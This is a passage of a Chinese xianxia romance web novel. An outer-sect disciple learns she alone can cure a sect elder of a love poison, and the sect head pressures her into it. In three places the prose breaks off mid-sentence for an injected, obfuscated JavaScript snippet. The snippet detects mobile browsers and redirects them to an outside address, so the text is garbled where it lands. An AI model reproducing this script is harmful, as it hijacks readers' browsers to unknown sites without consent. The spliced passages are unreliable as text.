男人又难耐地拉扯起领口,脸颊上凌乱的青丝滑落到一旁,露出了眼尾的一颗泪痣,像从白皙皮肤下渗出来的鲜血,将男人原本克制清冷的外貌点缀出堕落糜艳的味道。 贺流虹又一次看到同款泪痣,忽然清醒了过来。 原来如此,她明白是怎么回事了。 男人发出喑哑而魅惑的声音,说:“过来。” 挡在洞口的结界消失了。 贺流虹却远远地往后撤退。 风月宗卑鄙无耻的男修,勾人的手段层出不穷,模仿第一美人往脸上画泪痣就算了,还想装成落难的柔弱美男,引诱她上钩。 她承认,有几分姿色,很诱人。 但是就算她刚刚不小心上钩了,那也是因为她善良,绝不是因为她好色。 她又谨慎地往后退了好几步,直接躲在了一棵大树后面,唯恐对方又使出什么没下限的手段。 男人的脸上出现片刻的怔愣,以及不解,但是迅速被体内燥热难耐咄咄逼人的欲念占据眼底。 他拼尽全力让自己发出正常的嗓音:“我知道你是天玄宗弟子,到我身边来。” 贺流虹躲在树后轻笑一声,竖起一根食指左右摇了摇,用最不屑一顾的声音说道:“你以为自己很诱人吗,啧,你喘得也就一般吧。想勾.引我,你回去多练练吧。” 说完,她头也不回地拔腿狂奔,离开这个危险之地。 5. 第 5 章 贺流虹一边跑,一边通过玉简往天玄宗发送自己的定位。 镇妖塔的各门派大佬也不知道打没打赢,她模模糊糊能感觉到,空气好像变得和往常有些不同,应该就是那些修为比她高的人嘴里说的“妖气”。 连她都能感觉到了,说明妖气已经浓到收不住,这个万年大妖很可能已经闯破封印越狱了。 这座山里镇妖塔那么近,贺流虹有点担心大妖就逃到了这里,加快脚步想要快点离开。 她在心中祈祷天玄宗那群长老堂主师伯师叔们能留意到她这个外门小弟子发送的讯号,这样万一她不幸和大妖正面相撞,说不定还能及时被宗门察觉,留下一条小命。 贺流虹不知道的是,在她刚飞奔离开山洞不久,洞口就出现了一个风月宗女修。 紧接着,又来了几个天玄宗弟子。 双方险些因为山洞里的男人打起来。 最后还是天玄宗掌门亲自赶来,才将自己的小师弟从风月宗女修手中带走。 贺流虹飞快逃回城中,望着人来人往的大街,体会到了一丝安全感。 这一看,才发现街上的人个个表情轻松,没有任何万年大妖现世的紧张感。 玉简发出青色的光芒,她之前买地图时在论坛留过言,有几个人通过论坛添加她好友。 她一一通过。 第一个人的名字叫“望师成凤”,一看就是一个很有理想的人。 贺流虹看了一眼自己当时老老实实填写的真名“贺流虹”,想要修改,但是改名也要灵石。 【望师成凤:我是赵炎炎,你去风月宗了?太猛了师妹,听说镇妖塔当时打得很凶,你离得近,跟我说说当时的具体情况。】 【贺流虹:没有,我痛晕过去了,醒来一切都结束了。】 【望师成凤:……】 【贺流虹:赵师姐,大妖呢?】 【望师成凤:被灭了啊,小师叔一般不出手,一出手就没有解决不了的事。这下好了,你不用再晕了。】 【贺流虹:可我怎么感觉还有一股很浓的妖气没散呢……】 【望师成凤:可能是你精神太紧绷,产生了错觉?】 【贺流虹:大概是吧。】 【望师成凤:哎,别说你了,小师叔也受伤了你知道吗,神月峰现在除了医修,不准任何人靠近,掌门甚至去医仙谷请求谷主出山,也不知道这到底是受了什么伤,那群人嘴太严了。】 和赵炎炎交流时,又有一个人联系她。 贺流虹自动过滤了赵炎炎的消息,查看这个名字叫做“风月宗我和你不共戴天”的陌生同门。 对方一上来就给她打了一笔钱。 她一看金额,足足有一千灵石,警惕了一把,修真界不会也搞诈骗吧? 【风月宗我和你不共戴天:太好了师妹,你还活着!没想到镇妖塔出了那么大的事,你要是因为接了我的悬赏死在那里,我搞不好要生心魔了。实在抱歉,这六百灵石就当做是补偿给你的。】 贺流虹眉开眼笑,太好了,镇妖塔是个好地方,下次还来。 【贺流虹:那你的悬赏还要我做吗?】 【风月宗我和你不共戴天:做啊,给我做!我要让所有人都知道南宫月宁欠我的情债!做完了回来找我拿酬劳。】 【贺流虹:好的老板,保证完成任务!】 她飞快处理完玉简上的消息,把老板打的一千灵石装进储物袋。 今时不同往日,她去面摊上要了一碗大份的牛肉面,加三个蛋! 两个时辰后,贺流虹来到风月宗大门口,风月宗一向人来人往,对于她的靠近,看门人毫无反应。 她取出一颗留影石,注入灵气启动成功,找好拍摄角度,摆放在一边。 然后戴上面具,拿出喇叭,清了清嗓子,深吸一口气,开喊:“南宫月宁你个负心女!你欠我的用什么还!” 连喊三遍,很快结束。 她张望一圈,发现大家都很淡定,最多瞥她两眼就收回目光,该干嘛干嘛。 看大门的两个弟子说说笑笑:“你看你看,南宫师姐又玩弄了一个。” “怎么是个女修,不是要阴阳相合吗,南宫师姐的双修功法已经升级到这种级别了吗?” “可能是喜欢穿女装,不一定就是女修。” “可是这体型不像啊。” “他用幻形符了。” “你好有经验啊,不会也有这种癖好吧。” 贺流虹为这次任务付出的最大代价:被当成女装大佬。 但是没有任何人为了维护自家师姐名声追出来打她,那张遁走符就可以省下了。 一张初级遁走符,在黑市至少能卖出十块灵石。 老板给她的那张还是高级的。 最近这是什么运气?财神给她拜年来了? 她取走留影石,速速收拾妥当,准备跑路。 这时候身后传来一道惊讶的声音:“原来你是个男的,难怪能抵挡我的美貌。” 贺流虹:??? 她一回头,那个在面摊上遇到的风月宗男弟子又出现了,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143276|164589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸的嘲讽:“你死心吧,我师父南宫月宁已是元婴期大修,对你只是玩玩而已。真正能助长我师父修为的,是天玄宗景雍那样的天才。而不是你这个癖好特别的练气期男修。” 贺流虹重重地给了他一拳,然后猛踹他裆下:“让你骂我是男修,让你骂我是男修!你才是男修!” 和她预料的一样,风月宗大门口除了骂街,最常发生的就是互殴。 所以仍然没有任何人大惊小怪。 对方毫无还手之力,哇哇大叫:“师父救我——” 贺流虹只感觉忽然之间被一股灵压笼罩,顿感不妙。 抬头望去,一群鲜艳生动的女修从风月宗内踏着彩云飞出来,沿路花瓣飘飘洒洒,香风阵阵,惹得所有人都停驻原地。 被贺流虹踩在脚下的男弟子惊喜大叫:“师父!师父救救徒儿!” 云上的正中间一名女修垂眸望向地面。 贺流虹一看这么多人肯定打不过,正要使用遁走符,却被定在了原地,动弹不得。 这下糟了,打了徒弟来了师父。 男弟子鼻青脸肿,爬起来边哭边告状,却被云上的女修挥袖扔到一旁。 南宫月宁翻了个白眼,“为师和姐妹们有正事有问,你这个小废物给我滚到一边去。” 贺流虹立刻满脸诚恳:“南宫前辈有什么大事,尽管问,晚辈知无不言!” 南宫月宁:“好,我看你是天玄宗的人,听说琼华真人在镇妖塔不慎中了迷情散,这消息属实吗?” 贺流虹:啊?迷情散?那是什么东西? 琼华真人?这个她有印象,是神月峰那位金尊玉贵的小师叔的道号。 她一脸老实:“好像是真的,我也不太确定,应该有这回事吧,但也不太好说,可能中了吧,但神月峰除了医修没人能进去,所以具体我也不能打包票。” 上空一群女修忽然快活地笑起来,“这准是没错了,没中咱们风月宗的迷情散,也不可能这般遮遮掩掩。” “哎哟,真想瞧瞧咱们这琼华真人羞于启齿的样子。” “既然没人认领,姐妹们都一起去试试运气,万一这解毒之人就是你我当中的一个呢。” “万一是我,你们也别气馁,这第一美人可是化神期的修为,姐妹们分一分,一人双修个几天,一起飞升。” 一群美女嘻嘻哈哈快快乐乐地飞走了。 贺流虹虽然还是没怎么听明白,但是大开眼界,她在野外苦哈哈打耗子精的时候,风月宗的人每天过的到底是什么大鱼大肉的日子啊! 6. 第 6 章 南宫月宁一走,她的定身咒就解了,火速溜走。 听那些女修的对话,似乎很希望琼华真人中了迷情散,万一不是,不会怪她给了她们信心,回头来找她算账吧。 她不能这么快回天玄宗,搞不好要和那些人迎面撞上,得先在外面躲几天。 于是她又去了山里。 既然大妖都死了,那她也不怕了,山里的宝贝多,她挖些灵草抓些灵兽,都能换钱。 虽然没有去黑市接私活赚得多,但现在主要是为了躲人,所以就先不做那些比较有风险的事了。 镇妖塔周围的主路都解封了,可以自由通行,看来大妖确实是死透了,她之前感觉到的妖气都是错觉。 来都来了,她就去镇妖塔参观了一下,塔里面非常热闹,牢友们一蹲就是成百上千年,精神状态都很良好,尖叫的尖叫,唱歌的唱歌,狗叫声猫叫声鸟叫声一片。 贺流虹摸了摸自己的肚子,找到丹田的位置,死活想不起来自己以前在凡间界什么时候遇到过妖怪。 又是什么时候被妖怪伤过。 再说了,五年前她细弱得像个豆芽菜,被妖怪打伤了还能活下来?她好厉害。 “嘻嘻嘻……”一阵阴森的笑声忽然从旁边飘过来,“你完咯,你要倒霉咯,嘻嘻嘻嘻……” 贺流虹扭过头,就看到一张皱巴巴的丑紧紧贴在从镇妖塔的小窗户上,一双蜥蜴般的绿眼睛直勾勾盯着她,咧着嘴冲她笑。 “嘻嘻嘻。” “嘻嘻嘻完蛋咯,你被盯上咯。” 诅咒她?谁让镇妖塔还给妖怪留窗户的?尤其还是这么丑的妖怪! 贺流虹举起剑就往对方脑袋上敲过去——然后被塔外的结界给弹回来了。 窗户后面的蜥蜴精笑得更开心了。 贺流虹在心里发下宏愿,如果她不小心当上修真界老大,第一件事就是把镇妖塔的窗户都封死。 镇妖塔的旅游观光体验很一般,她感觉自己是在浪费赚钱的时间,有点后悔,转头就直奔山里找灵草抓灵宠去了。 与此同时,远在另一边的天玄宗笼罩着一种低沉而诡异的气氛。 都知道神月峰那位金贵非凡的琼华真人出了事,但就连宗门内的自家人也都不知道具体是什么事。 越是遮掩,越是众说纷坛。 有人说琼华真人被万年大妖重伤,金丹已毁,已沦为废人。 又有人说其实没那么严重,只是在斩杀大妖时不慎毁去容貌而已。 只不过琼华真人素来有第一美人之称,受不了这份打击,耻于见人。 还有人说,掌门亲自将神月峰布下结界,琼华真人唯一亲传弟子周无疾都不准进。唯独风月宗找上门的女修能进。 所以琼华真人这伤,大概是需要双修之法来医治。 金碧辉煌的洞府内,天玄宗掌门焦躁地来回踱步,懊悔叹气:“悔之晚矣,悔之晚矣!” 在他身旁,神清骨秀的美人低头沉默不语。 不同于出行时的锦衣华服披罗戴翠,美人只穿着一身单薄的素衣,衬得那张脸更加苍白。 毒已被暂时压制下去,但难掩病容。 掌门捶胸顿挫,他这个小师弟,因为千年难得的绝佳根骨,一出生就被带回天玄宗,修为一日千里,早早就辟了谷,是真正的不染凡尘。 天玄宗为了保证他能顺利渡劫飞升上界,尽心尽力替他打理好一切,这位修真界第一美人,平生除了修炼,不需要过问任何俗事。 美人也没有辜负宗门期许,堪堪百年,就已是化神大后期,以这样的速度,五百年内,飞升在望。 然而,眼下掌门离他这么近,却也难以感觉到他的灵力,别说是化神,简直像个来自凡间界的、还未踏上仙途的普通人。 “那日我就不该让你出关,不该让你去管镇妖塔的事。风月宗与镇妖塔离得那么近,里面全是轻浮浪荡之徒,且对你垂涎已久。你涉世未深,岂能不被那些家伙趁虚而入。” 现在可好了,竟是中了迷情散! 掌门都不知道是该庆幸,还是该生气。 风月宗玩弄人的手段极多,都是些小把戏。 但迷情散不一样,迷情散是风月宗老祖独创的。 中了迷情散,不仅无法再继续修炼,就连已有的修为也无法发挥出一成,道途只能止步于此。 除非和中药后第一眼见到的人神交七七四十九次。 哪怕是大乘期,也无法靠自己的力量化解。 最适合拿来逼那些不愿配合双修的大修就范。 随着风月宗老祖陨落,迷情散就渐渐失传,如今风月宗内也只有零星几人知道怎么制作和使用。 同样的,也仍然没人研制出除了神交之外的化解之法。 神交和双修不同。 双修对于参与的两人(或更多人)或多或少都有帮助,能够共同获益。 而神交意味着主动打开自己的识海,让另一缕陌生神识进入。 识海是修士最隐秘脆弱的地方,从第一天修行就会牢牢保护起来,决不允许他人进入。 大修的识海更是不可轻易生出窥探之意,否则稍一靠近都会神魂湮灭。 当然,如果信任对方,主动邀请对方进入自己的识海,便能感受到神魂交融带来快乐,这种快乐比任何普通的肉.体交缠都要激烈和极致,是一种灭顶的快感。 然而即便是结下同心契的道侣,通常也不敢冒险做这种事。 因为打开识海,容许对方进入,意味着将自身最隐秘脆弱的把柄交到对方手中。 对方可以利用自身力量安抚治愈你,但也随时可以伤害你,轻则神识混乱陷入疯癫,重则殒命。 这太考验人心了。 风月宗老祖研制迷情散,倒不是用来杀人的,而是一种比双修之法更便捷有效的提升修为的手段。 一旦能够畅快无阻地进入对方识海,就能佐以风月宗的独门功法,尽情掠夺和吸食对方的力量,壮大自身。 受到迷情散控制的大修,为了能够获得继续修行的机会,也只能吃下这个闷亏,付出一定的代价。 天玄宗掌门再次破口大骂:“风月宗都是一群卑鄙下流的小人!” 景雍将煮好的茶从炉子上提起,倒进色泽通透的玉盏,缓缓开口:“师兄,先坐下来喝杯灵茶吧。” 不染凡尘的修真界第一美人,就连说起话来,也是喉清韵雅,叫人清耳悦心。 掌门叹气:“琼华,你肩负我天玄宗的未来,这事非同小可,能解迷情散的人至今都没找到,你怎么还有如此闲情逸致。” 景雍红唇微张,想要说点什么,但又低下了头,把嘴闭上了。 这时候有人通过玉简传音,犹豫地问:“掌门,又有几个风月宗的人结伴来了,还是让她们去神月峰见小师叔吗?” 掌门刚被抚平的火气又腾的升起来:“结伴,又是结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143277|164589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伴!她们到底当你是什么,花楼里摆在台上供一群人评头论足挑挑拣拣的玩物吗!?” 他的嘴比脑子快,说完自知失言,重重地咳嗽了一声,掩饰尴尬:“琼华,你知我没有辱没你名节的意思。” 景雍低垂着眼帘,轻声开口:“师兄,不必再让风月宗的人来了。” 掌门一愣,着急道:“不行,你绝不能因此断送道途,我天玄宗还指望你飞升上界,反哺宗门。” 见景雍仍是垂着一双漂亮的眼睛,又疑惑道:“莫非,琼华是对神交一事感到害羞?也对,你自小不沾尘世,元阳之身仍在,没有经历过这些,一时难以接受也很正常。” 他语重心长地安慰道:“这都是不得已之举,风月宗虽轻浮,但不是大奸大恶之辈,你再仔细辨认一番,到底在山洞中醒来第一眼见到的那人是谁。不过七七四十九次而已,你只需忍下这一时,付出的代价日后寻找机会讨回来便是。再说,神交也并非只有痛苦,琼华也会从中感受到人间极乐的。” 他对玉简另一头的人说道:“请几位仙子来神月峰相见。” 景雍不得不说出实情:“她不是风月宗的人。” 掌门诧异地看向他:“什么?” 接着又是一阵惊喜:“你是说真的吗?” 风月宗那卑鄙无耻的功法,会在神交过程中将对方灵力掠夺得一干二净,数十年修行前功尽弃,只要不是风月宗的,是谁都好啊! “不对,”掌门又烦恼起来,“你明知她身份,却不愿提起,莫非她是魔教之人?” 那问题就更大了,还不如是风月宗,风月宗至少只想吸收灵力,魔修可是动辄毁人根骨剥人金丹害人性命啊。 景雍的脑海中再次浮现出那张充满惕的脸。 那个时候,她认为他是在勾引她,就像师兄说的那些最轻浮浪荡的风月宗弟子。 现在,他不得不邀请她进入自己最隐秘脆弱的地方,然后就会平生第一次体验到师兄所形容的欢愉,她带来的欢愉。 那个时候的自己会是什么模样,比躺在山洞中急切地唤她过来还要不矜持吗,比最轻浮浪荡的人还要轻浮、还要浪荡吗? 他是不是会变得很陌生,在她眼中更加丑态百出? “我看见她的玉简了。”他深吸了一口气,缓缓说道,“她也是天玄宗弟子。” 掌门喜出望外:“这真是太好了!” 景雍的耳旁好像又响起了那人嘲弄的声音,“想勾引我?”“你喘得也就一般吧。”“回去多练练吧。” 他的耳根悄悄地开始发烫。 掌门急切地催促他:“是谁?叫什么名字,哪个峰的,她师尊是谁?从前就认识?” 景雍摇了摇头:“应当只是个外门弟子。” “什么身形,什么相貌,现在何处,我这就去把人带过来。” 景雍一挥袖,一道人影在半空中清楚地显现出来,是个很年轻俊俏的少女,身材高瘦修长,一身风尘仆仆的味道,头发还有些乱糟糟的,衣角上沾着土,好像刚在土坑里滚过似的。 那双微微下垂的大眼睛眨巴着,显得格外老实。 掌门抚掌而笑:“好好好,一看就是个老实本分的人,而且还是个外门小弟子,容易拿捏,不必担心她使坏。” 景雍含糊不清地应了一声:“嗯。” “你且等着,这就把人给你带来。” 掌门说着,身形一闪,便消失在神月峰。 7. 第 7 章 天玄宗掌门,本名景离,道号紫来,被修真界尊称为紫来真人。 和他那位金贵非凡的小师弟一样,同样已是化神后期的修为。 不同的是,紫来真人修炼已有千年之余。 闭关修行时,时间总是弹指一挥间。 要不是后来有了个修为一日千里、只用不到百年修为就追上他的小师弟,紫来真人都不知道自己已经活了这么久了。 在去找人的路上,他给风月宗送了一张传音符。 符咒飞到上空,震耳欲聋的骂声响彻风月宗每个角落:“哪个杀千刀的暗害我天玄宗弟子,你敢做不敢当,敢下毒,却不敢露面吗?” “有能耐的话一辈子别让我发现你是谁,否则天玄宗上下绝不对你轻饶放过!” “我诅咒你这辈子再也无法突破,破境必失败,出门法宝必被夺,下秘境次次一无所获,最终只能抱憾陨落!” 下毒之人至今没敢露面,天玄宗又毫无头绪,景离只好选择这样小小发泄一下怒火。 由于这是一次有些特殊的迷情散下毒事件,下毒之人似乎是罕见地翻了车,让中毒之人从眼皮子底下溜了,错失解毒资格,又让天玄宗自家小弟子误打误撞上了,很大程度上减少了天玄宗的损失。 没有风月宗独门功法相助,就算是神交一千次,琼华真人的化神期修为也不会跌落。 但这不代表毫无损失。对于琼华真人这样修行一日千里的天纵奇才来说,经脉阻滞所损失的修行时间,一分一秒都是无比珍贵的。 更何况是神交七七四十九次所耗费的时间。 神交虽是极致欢愉的体验,但是太频繁是会把人掏空的,化神期也顶不住每天都来一遍。 外门弟子那就更是不必多说,能一年来一次都算是体质好的,要是能一个月来一次,那简直是天赋异禀。 因为这个迷情散,天玄宗的镇宗之宝、化神期大修、修真界第一美人、琼华真人至少有几十年的修炼时间都会被浪费掉。 对于指望琼华真人五百年内尽快飞升反哺宗门的天玄宗来说,这是一项巨大的损失。 景离喊来外门长老,调出外门弟子档案,一个个找过去,将脸和名字对上号。 看清楚这个叫“贺流虹”的外门弟子的信息后,他顿时就眼前一黑。 五灵根,练气二层,修炼时间两年半。 一般来说,外门弟子的天分本来就不高,修炼的速度也快不起来,这是宗门所有人默认的事实。 但那只是针对周无疾赵炎炎这一类的亲传弟子而言。 在天玄宗这样的顶级大宗门,一个外门弟子放出去,是完全有可能在一些小门小派横着走的。 显然,掌门没有在这个叫贺流虹的小弟子身上看到这种可能性。 这个根骨,这个修炼速度,就是放在外门,也只能说是“还好,没有垫底”。 他抱着最后一丝期许,释放出神识,定位到贺流虹所在的位置,希望能看到一些惊喜。 比如说,这个小弟子只是扮猪吃虎,隐藏身份来天玄宗体验生活的大修,私下里会偷偷暴露真正的实力。 结果他只瞥见她正在和野猴子打架。 那只野猴子最多只是个一阶小妖,刚开了灵智不久,对上一个练气二层,一猴一人,在丛林里打得有来有回,荡来荡去。 乍一看,根本分不清哪个是人,哪个是猴。 掌门悬着的心终于死了。 甚至已经为今后的日子精打细算起来,五灵根,天赋垫底,那就算她一年一次好了,七七四十九次,解开琼华的修为封印,保底也就是四十九年,这个时间长度对于化神期修士来说,其实也不算不能忍耐。 等把这孩子带回神月峰,宗门再想办法用外力给她强化一下根骨,短期内提速一下境界,这个时间就会更短。 掌门刚死过的心,在理性和逻辑的抢救下,又微微活过来一些。 他一个闪现,真身亲临至贺流虹面前。 贺流虹“呸”了一口,把嘴里的猴毛吐了,累得半死不活,难怪一个一阶妖猴内丹就值十块灵石,太难抓了。 真是钱难挣,猴毛难吃……她又连“呸”几口,猛然间感觉一股强大的灵压笼罩下来。 作为修真界小角色,她也没机会见什么大场面,上一次出现这种强烈的压迫感,还是琼华真人出关,大战万年大妖。 她下意识以为什么地方又出事了,琼华真人又出手了。 一抬头,一个同样衣饰华美的青年男子负手立于云端,浑厚精纯的灵力化作飘渺雾气环绕在他周围,使他的身形容貌若隐若现,玄妙莫测。 对方垂眸望着她,沉沉开口:“天玄宗外门弟子贺流虹,随我回神月峰。” 贺流虹把头发上的一根遮挡视线的杂草摘了,仔细打量了一下,一脸好奇地问:“您就是琼华真人?” 修真界混了两年半,她清楚地体会到外表和年龄毫无关系,这也就进一步增加了辨别身份的难度。 景离听着那外门小弟子脆生生的嗓音,差点没能藏好脸上的笑容。 他被当成琼华了。 被公认为“修真界第一美人”的那个琼华。 修真界最不缺的就是美人,境界越高,改换容貌的方式就越多,就算本来不好看,到了化神期也能成为绝色。 而琼华真人便是这绝色之中的绝色。 他悄悄整理了一下衣袍和头发,压住上扬的嘴角,再次瞥向下方那练气二层的外门小弟子,那乌溜溜的眼睛澄澈干净,像两颗黑葡萄,一看就是个不会说谎从不使坏的好孩子。 贺流虹仰脸望着天上的修士一副高深莫测的表情,心里有些拿不定主意。 无论这人是不是神月峰的琼华真人,有这种气场,在宗门的地位肯定不低。 她敢肯定外门长老都叫不出她名字,这人却能对她点名道姓。 不对劲。 她最近犯什么事了? 只是不小心看了几张黄图而已,都过去那么久了,居然惊动宗门高层亲自抓她去神月峰谢罪?不至于吧! 但是想到那个小师叔金贵的样子,又想到周无疾的态度,她又感觉不是不可能。 贺流虹有点慌,她刚死里逃生拿命换了一千灵石,不能就这么完了…… 她连忙鞠了一躬:“真人,你听我解释,这一切都是个误会,我对您绝无亵渎之意,再说我也没看完——” “你在说什么?”景离皱了皱眉,心想这大概是她和琼华之间的事,于是一挥袖,将人从地面带到上空,“时间紧急,有什么话回神月峰再说。” 云雾缭绕,贺流虹还没来得及看清说话的人具体模样,眨眼睛就消失在原地,来到了一个陌生的地方。 这里是一座连绵巍峨的山峰,灵气充沛到极致,空气似乎都带着甘甜,不需要刻意集中精神,纯净充足的灵气便会主动源源不断荡洗经脉。 在贺流虹的概念里,这种助益修炼的效果,只有传闻中的上古大能遗留的秘境里才会出现。 天玄宗原来也有这样的好地方。神月峰不愧是用全宗门最好资源供养的洞天福地。 放眼望去,花团锦簇,灵芝玉树遍地都是,仙鹤翩翩起舞。 在充足灵气的滋养下,路边随意生长出来的一棵草,都是外面有市无价的灵植。 然而这些灵草在神月峰上只获得了如同杂草一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143278|164589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般的待遇,没有任何精心照料的痕迹,肆意地长在路边和石头缝中。 掌门匆匆走过其中,轻皱眉头,为这片近日缺乏打理的山峰感到些许不满。 贺流虹看着那些灵植在他脚下被践踏而过,深感惋惜,忍住了从对方脚下抢救那些宝贝的冲动。 掌门也没给她这么做的机会,抓着她,上前一步。 下一秒两人一起被弹了回来。 这感觉贺流虹很熟悉,前面有结界把他们挡住了。 但是对方看上去很疑惑,再次抓住她,上前一步。 然后两个人又一起被弹回来了。 贺流虹现在完全确定对方不是琼华真人本人了,看来琼华真人受伤的事情是真的,那这个抓她来神月峰的人又是谁,被她当成琼华真人这么久都不否认,难道是在暗爽? 景离察觉到这小弟子越来越怪异的视线,连忙提高了声音,对某个方向说道:“琼华,这是怎么回事,为何突然把我拦在洞府外面?” 这句话是完全可以通过神识传音的,但是他不想被一个练气二层误解成连结界都不知道的傻子。 洞府内的琼华真人依然没有回音。 景离有点摸不着头脑,他这个小师弟的洞府往日从来不对他设防,怎么他出去一趟,回来就进不去了? 他瞧了瞧一旁正在好奇张望周围景象的外门小弟子,又冲结界内的洞府里喊道:“师弟,我把人给你带回来了,快把洞府的门打开,让我们进去。” 贺流虹迅速在脑子里过了一遍天玄宗高层们的关系,有资格喊琼华真人一声“师弟”的其实有不少,包括负责管理外门弟子的外门长老,名义上也是这位琼华真人的师兄,所以外门的弟子也都能喊上一声琼华师叔。 但是修真界更看重实力,不是倚老卖老的地方,哪怕活了几百岁,遇上了年轻的天才,也得毕恭毕敬,诚惶诚恐。 贺流虹越思考,越困惑,外门长老都很难见到的人,怎么就偏要把她给带过来? 而且,不是都说神月峰戒严,连唯一亲传弟子周无疾都不准进吗。 堵在面前的那一面无形的空气墙鼓胀扭曲了几下,紧接着里面就传出一道清列动听的嗓音,似乎带着几分犹豫:“掌门师兄,我……你……” 贺流虹瞥一眼身边人,原来是掌门。 掌门亲自抓她?这值得写进人生履历。 掌门担心又困惑:“琼华,你今日怎么如此扭捏?事不宜迟啊!” 里面那道声音微微一顿,细听起来有一丝紧张的颤抖:“师兄,我还有点事,先不见她了……你先同她讲明情况,从长计议。” 掌门急得抓耳挠腮,还有点事?七七四十九次一次都还没少,眼下这情形,除了尽快神交,还能有什么事? 贺流虹:“看来小师叔事务繁忙,我非常擅长替药田锄草,闲着也是闲着,我来帮师叔清理一下洞府门口的杂草。” 掌门欣慰地看她一眼:“你有这份心是好事,但带你回神月峰有更重要的事,这些琐碎小事如今不必由你来做。” 他一挥手,化神期大修眼中的“杂草”全都灰飞烟灭,一干二净。 贺流虹心里一阵抽疼,闭了闭眼,有气无力开口:“那掌门需要我做些什么?” 景离一五一十告知她事情原委。 贺流虹不解,但大为震撼:“啊?我吗?” 她怎么不知道她和小师叔见过面? 修真界第一美人容貌地位天分修为都在顶尖,哪怕远远从头顶飞过,那超然世外冷淡疏离的气质也如鹤立鸡群。 就算她最近去了一趟风月宗,见过的美人太多导致审美疲劳,也不应该没有留下任何印象。 8. 第 8 章 她冲着洞府外的结界瞥了一眼,小声质疑:“小师叔他是不是受伤太重,没有看清楚啊?” 掌门看她一副状况外的样子,轻哼了一声:“我倒宁愿那个人不是你。” 当时随琼华去镇妖塔的门中弟子不止一个,都是根骨修为绝佳的好苗子,和那些弟子神交,还能在修炼之事上顺带指点一二,不算太浪费他天玄宗镇宗之宝的天分。 事已至此,只能安慰自己外门比不上内门,但比外面的人强。 贺流虹一副虚心的神情,连忙点头:“是是是,掌门说的是。” 不管怎么说,她不是因为看黄图才被抓来神月峰的,被当做解药比被当做犯人好。 再说,这个“解药”也不知道危不危险,化神期需要一个炼气期来救,听着很像一种新型诈骗。 “既然小师叔不愿意见我,掌门也希望换成别人,那弟子就先行告退,不在这儿碍眼了。” 她嘴上唯唯诺诺,两条腿迈得比谁都要快。 掌门将她一把拉回来,将人定在原地。 贺流虹又一次被限制住行动,扯出一抹笑容:“掌门,这是什么意思?” 掌门说道:“当日你师叔负伤流落到荒山,你便在附近,还往宗门发了联络讯号,如今又想否认吗?” 贺流虹愣了一下,大脑疯狂转动两秒,然后恍然大悟,接着震惊非常:“不是,掌门,你是说那个山洞里的烧……伤者就是琼华小师叔?” 不是,那个人当时喘成那样,还主动脱衣服勾引她,热情邀请她过去,你说这是天玄宗的高岭之花琼华真人? 这谁敢信? 她试着扭了扭脖子,发现自己一动也动不了。 如果对方愿意,就可以像碾死一只蚂蚁那样结果了她。 景离板着脸,跟她说明事情的严重性:“你没有听明白我的话吗,除了你,谁都救不了琼华。迷情散是风月宗老祖亲手所创,就算她亲自来了,也别无他法。” 贺流虹哪敢说一句不是,“是是是,掌门说的是,弟子愚笨,未能立刻领悟掌门的指示。” 景离看她知错就改,抬手解了她的禁制,谆谆教导:“你身为我门中弟子,受师长庇护才得以安心修炼,自当有义务为你师叔献身,何况只是让你解毒,又没要你的命。” 贺流虹也明白了,这事没有她考虑的余地,不是让她选,是组织强行塞到她手上的任务。 “对对对,我一定不辜负宗门对我的培养。” 掌门缓了缓语气,换上慈爱的神情:“这件事外面多少人想求都求不来,能被你撞上,是你的气运,与化神期大修神交一次,对你的修炼也是有帮助的。” 贺流虹刚刚还打算硬着头皮认下来,现在却是有点心动,真的假的,那她能直接筑基吗? “五灵根也可以吗?我花了两年才从练气一层变二层……” 她看上去惨兮兮的,脸上的灰都没擦干净,袖子上还有一块补丁。 景离都有点心虚了,天玄宗给外门弟子的福利也不差吧,怎么衣服上还会有补丁啊? 他郑重点头:“绝对可以,神交过程中,你师叔化神期的修为能淬炼你的经脉,强化你的识海,让你今后的修炼速度更快,吸收灵气更顺畅。” 只不过后遗症也比较严重就是了,简单来说就是虚不受补,越虚,后续需要用来消化和恢复的时间就越久。 贺流虹眨着乌溜溜的大眼睛,天真淳朴地提问:“可是掌门,神交是什么姿势,我不会啊。” 景离沉默了两秒,这个该怎么解释呢,到底是个女修,男女有别,他总不能像面对师弟的时候那么坦荡,不自觉咳嗽了几声。 贺流虹其实对神交也有所耳闻,这种下流事,再上流的人也很难没有好奇心。 神交,听上去比双修高雅了好几个级别,但是根据她的理解,差不多也都是一回事,都精神高嘲了,身体交流也就是顺带的事。 